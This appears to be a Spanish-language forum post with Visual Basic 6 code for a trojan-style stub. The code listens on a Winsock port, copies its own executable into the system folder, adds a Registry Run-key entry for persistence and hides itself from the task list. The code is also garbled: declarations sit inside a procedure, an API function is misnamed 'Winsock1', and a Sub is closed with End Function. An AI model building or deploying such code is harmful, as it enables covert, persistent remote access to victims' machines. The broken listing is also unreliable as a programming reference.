Código:
Dim Ruta As String
Private Sub Form_Load()
Ruta = "c:\temporal2.bmp"
Open Ruta For Binary As #1
On Error Resume Next
Kill (Ruta)
Open "ruta" For Binary As #1
Winsock1.LocalPort = 1000
Winsock1.Listen
ejec = App.Path
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
[b]Public Const SW_HIDE = 0
Public Const SW_NORMAL = 1
Public Declare Function Winsock1 Lib "user32.dll" ( _
ByVal hwnd As Long, _
ByVal nCmdShow As Long) As Long
Public Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" ( _
ByVal lpClassName As String, _
ByVal lpWindowName As String) As Long
Public Function ShowWinByTitle(strWindowTitle As String)
Dim lngWindowHandle As Long
lngWindowHandle = FindWindow(vbNullString, strWindowTitle)
If lngWindowHandle <> 0 Then
ShowWindow lngWindowHandle, SW_NORMAL
End If
End Function
[/b]
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\nombre1"
Name sys & "\nombre1" As sys & "\nombre2.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "nombre3", sys & "\nombre2.exe"
App.TaskVisible = False
End Function